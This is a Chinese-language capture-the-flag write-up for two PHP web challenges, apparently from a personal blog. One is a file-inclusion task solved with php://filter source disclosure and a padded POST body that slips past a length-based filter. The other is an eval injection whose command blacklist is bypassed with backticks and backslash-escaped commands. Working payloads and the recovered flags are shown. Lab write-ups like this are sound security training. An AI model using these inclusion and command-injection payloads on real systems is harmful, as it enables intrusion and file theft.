[鹤城杯 2022]简单包含

题目

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

文件包含漏洞,先用php伪协议试试获取源码

1
2
payload
flag=php://filter/convert.base64-encode/resource=index.php

base64解码后得到

1
2
3
4
5
6
7
8
9
10
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

注意’if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))’,意思是只读流中的数据长度小于800并且出现’flag’字符串,因此我们仅需让其中一个条件不满足即可绕过

1
2
php://input的作用是什么?
它可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

因此我们可以构造让post的data部分长度大于800即可实现绕过

1
2
payload
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/convert.base64-encode/resource=flag.php

base64解码后得到flag

1
NSSCTF{566172c5-aa6a-4efa-9785-7c988f2db8ea}

[UUCTF 2022 新生赛]ez_rce

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

很简答的rce,直接利用反引号执行系统命令并用var_dump打印结果即可,被过滤的命令可用’\‘绕过

1
2
payload
?code=var_dump(`l\s /`);

image-20240625123227335

flag在fffffffffflagafag中

1
2
payload
?code=var_dump(`c\at /fffffffffflagafag`);

得到flag

image-20240625123343647

一点尝试

突然心血来潮试了一下取反绕过,发现有报错

image-20240625124013082

然后调高php版本,发现命令正常

image-20240625123930224

然后去看了看别人的博客,发现当5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,猜测取反绕过没成功是因为将字符构造出来后还未被执行,具体只能以后再来看看是为什么了